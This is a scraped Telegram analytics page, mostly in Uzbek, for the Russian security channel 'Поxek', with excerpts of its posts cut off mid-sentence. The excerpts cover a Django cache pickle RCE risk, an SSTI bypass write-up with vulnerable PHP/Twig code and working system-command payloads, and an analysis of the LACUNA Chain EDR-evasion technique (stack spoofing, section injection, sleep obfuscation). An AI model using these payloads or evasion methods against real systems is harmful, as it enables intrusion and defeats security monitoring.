Похек
All materials published on the channel are for educational and informational purposes only. Мнение автора ≠ мнение компании, где работает автор Чат: @poxek_chat Реклама: @szybnev или https://telega.in/c/poxek РКН: https://clck.ru/3FsVhp
Ko'proq ko'rsatish📈 Telegram kanali Похек analitikasi
Похек (@poxek) Rus til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 17 183 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 7 660-o'rinni va Rossiya mintaqasida 38 946-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 17 183 obunachiga ega bo‘ldi.
28 Iyun, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni 354 ga, so‘nggi 24 soatda esa 8 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 15.18% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 8.29% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 2 607 marta ko‘riladi; birinchi sutkada odatda 1 424 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 11 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent cvss, llm, cve, api, cve-2025 kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“All materials published on the channel are for educational and informational purposes only.
Мнение автора ≠ мнение компании, где работает автор
Чат: @poxek_chat
Реклама: @szybnev или
https://telega.in/c/poxek
РКН: https://clck.ru/3FsVhp”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 29 Iyun, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
pickle-объект под ключ сессии, затем отправляет запрос с нужным sessionid, и приложение само достает значение из кэша. Механика реальная: в RedisCache после неудачного int() вызывается pickle.loads(), а PyMemcacheCache по умолчанию использует pymemcache.serde.pickle_serde.
Ограничение в другом: это не “любой Django 6.0.4 выполняет код по HTTP”. В официальных release notes 6.0.4 нет RCE по cache backend: там один moderate и четыре low security issue. Для эксплуатации нужен контроль над данными в cache backend: открытый Redis/Memcached, SSRF до внутреннего Redis, боковое перемещение или общий кэш между разными trust zone. Без возможности записать произвольное значение в кэш цепочка не складывается.
Риск все равно практичный. Во многих продакшенах Redis считается внутренним сервисом и остается без ACL, TLS и жесткой сетевой изоляции. Тогда кэш перестает быть просто ускорителем: запись в него может стать выполнением кода в процессе Django-приложения.
Проверять надо не только версию Django. Смотрите SESSION_ENGINE, CACHES, доступ к Redis/Memcached, разделение кэшей между сервисами и возможность заменить pickle на безопасный serializer для конкретных данных. Обновления нужны, но этот класс риска закрывается архитектурой: изоляцией cache backend, аутентификацией, ACL и запретом общих кэшей между разными уровнями доверия.
🌚 @poxek | 🌚 @poxek_ai | 📲 MAX{{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =)
Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:
<?php
require_once 'vendor/autoload.php';
error_reporting(E_ERROR | E_PARSE);
class User {
public $username;
public $secondname;
public function __construct($username, $secondname) {
$this->username = $username;
$this->secondname = $secondname;
}
}
$allowed = ['user.username'];
function prepareVars(string $template, array $allowedKeys): string {
return preg_replace_callback(
'/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}}
function ($matches) use ($allowedKeys) {
$value = trim($matches[1] ?? ''); //Берётся наше значение
if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys
return "{{ {$value} | raw }}";
}
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES
},
$template
);
}
$username = $_GET['username'] ?? 'John';
$secondname = $_GET['secondname'] ?? 'Doe';
$user = new User($username, $secondname);
$templateInput = $_GET['template'] ?? 'Guest';
$fullTemplate = 'Hello ' . $templateInput;
$processedTemplate = prepareVars($fullTemplate, $allowed);
$loader = new \Twig\Loader\ArrayLoader([
'index' => $processedTemplate,
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['user' => $user]);
Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло:
Мне для той же нагрузки {{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=ls&secondname=system.
В моём случае приложение было на PHP Symfony, а данные о пользователе передавались не от меня. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе.
Если же у вас только одно контролируемое значение(например subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно:
{{{{[subject|slice(0,2)]|filter(subject|slice(-6))}}}}NtAllocateVirtualMemory, NtProtectVirtualMemory, NtQueueApcThread и похожие операции. Если в стеке виден shellcode, unsigned module или executable heap, обход ntdll-хуков уже не закрывает детект.
LACUNA Chain переносит атаку на уровень unwind-механики Windows x64: не скрывает сам факт операции, а подменяет историю вызова, которую увидит stack collector.
♾️Как работает♾️
На x64 Windows стек обычно восстанавливается через .pdata. Для функций там лежат RUNTIME_FUNCTION и unwind metadata. Но если RtlLookupFunctionEntry(ControlPc) не находит запись, RtlVirtualUnwind трактует адрес как leaf-функцию: читает следующий RIP из [RSP] и двигает RSP на 8 байт.
Автор использует это как BYOUD-Gap: берёт адреса внутри легитимных DLL, но между покрытыми .pdata функциями. Для unwind-кода это валидный leaf-frame. Для простого EDR-правила это кадр из ntdll, kernelbase, wow64 или win32u, а не из payload.
В статье собирается цепочка:
KiUserExceptionDispatcher -> ghost frame рядом с WoW64 exception path -> ghost рядом с VirtualProtect -> ghost рядом с thread-creation API -> NOP-gap в win32u -> RtlUserThreadStart.
Отдельный слой — ETW-Ti APC window. Событие появляется в ядре, но stackwalk может исполняться через USER_APC, который доставляется только при alertable wait. Значит, чувствительная операция уже прошла, стек можно подготовить, затем войти в alertable NtDelayExecution, и сборщик увидит ghost-chain.
♾️Анализ исходников♾️
В репозитории это реализовано не как статичный набор оффсетов. В lacuna_chain.c сканер PE читает .pdata, ищет промежутки между EndAddress текущего RUNTIME_FUNCTION и BeginAddress следующего, отбрасывает padding из 00/CC/90 и выбирает ghost regions рядом с экспортами VirtualProtect, RtlCreateUserThread, Wow64PrepareForException. Для win32u отдельно ищется 8-байтовый NOP gap.
build_chain() выбирает L1-L5, ищет ghost gadget JMP [RBX] внутри ghost-region и строит LacunaStack. Для BYOUD-MF код ищет unwind opcode UWOP_PUSH_MACHFRAME в ntdll, кладёт fake machine frame и задаёт Rsp так, чтобы unwind перескочил на буфер L2 -> L3 -> L4 -> L5. Режим verify прогоняет цепочку через RtlLookupFunctionEntry и RtlVirtualUnwind, то есть проверяет тот же класс механики, на который опирается сборщик стеков.
В inject добавлен прикладной обход корреляций: вместо VirtualAllocEx -> WriteProcessMemory -> VirtualProtect используется section-based injection. Код создаёт section, мапит локальный RW view, пишет payload, затем мапит remote RX view через NtMapViewOfSection и ставит APC. NtWriteVirtualMemory в целевой процесс не вызывается.
Самый плотный участок — param_encrypt_veh. Перед syscall ставится hardware breakpoint на syscall;ret. На EXCEPTION_SINGLE_STEP VEH расшифровывает RCX/RDX/R8/R9/R10, подменяет return address на ret gadget внутри ntdll, а в режиме full_spoof заменяет stack slots, указывающие внутрь lacuna.exe, на ghost-frame адреса. После возврата через DR1 старые значения восстанавливаются. Подмена живёт только в окне наблюдения.
Отдельный lacuna_sleep.c применяет тот же подход к sleep-obfuscation: ghost-call stub меняет [RSP] на ghost address, tail-jump’ит в API, VEH на hardware breakpoint возвращает управление на сохранённый настоящий return. Цикл делает NtProtectVirtualMemory(RW), XOR payload, NtDelayExecution(alertable=TRUE) с ghost-chain на стеке, расшифровку и возврат в RX.
♾️Ограничения♾️
PoC зависит от конкретных DLL, их .pdata, наличия ghost regions, win32u gaps и подходящих unwind-паттернов. В коде это частично закрыто runtime-сканированием и fallback-логикой, но не превращает технику в универсальный bypass для любой версии Windows и любого EDR.
Заявления о полном обходе Elastic, Bitdefender и Kaspersky идут из лабораторных тестов автора. Я проверял код и соответствие кода статье, но не воспроизводил эти EDR тесты локально.
🔗Источники:
Статья 0xmaz, 20 июня 2026
🐱 MazX0p/LACUNA-Chain
🌚 @poxek | 🌚 @poxek_ai | 📲 MAXОбменяемся опытом в кругу своих, обсудим факапы и разберем: ✅ Как подготовиться к инциденту так, чтобы во время атаки не пришлось действовать вслепую ✅ Что на самом деле происходит «в полях» пентеста: где ожидания расходятся с реальностью, почему это не «скрытный обход SOC» и к чему приводит внедрение ИИКому будет интересно? SOC-специалистам, пентестерам и ИБ-практикам 🗓 25 июня, 19:00 📍 Москва, офлайн Участие бесплатное. Количество мест ограничено. Зарегистрироваться
Обменяемся опытом в кругу своих, обсудим факапы и разберем: ✅ Как подготовиться к инциденту так, чтобы во время атаки не пришлось действовать вслепую ✅ Что на самом деле происходит «в полях» пентеста: где ожидания расходятся с реальностью, почему это не «скрытный обход SOC» и к чему приводит внедрение ИИКому будет интересно? SOC-специалистам, пентестерам и ИБ-практикам 🗓 25 июня, 19:00 📍 Москва, офлайн Участие бесплатное. Количество мест ограничено. Зарегистрироваться
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
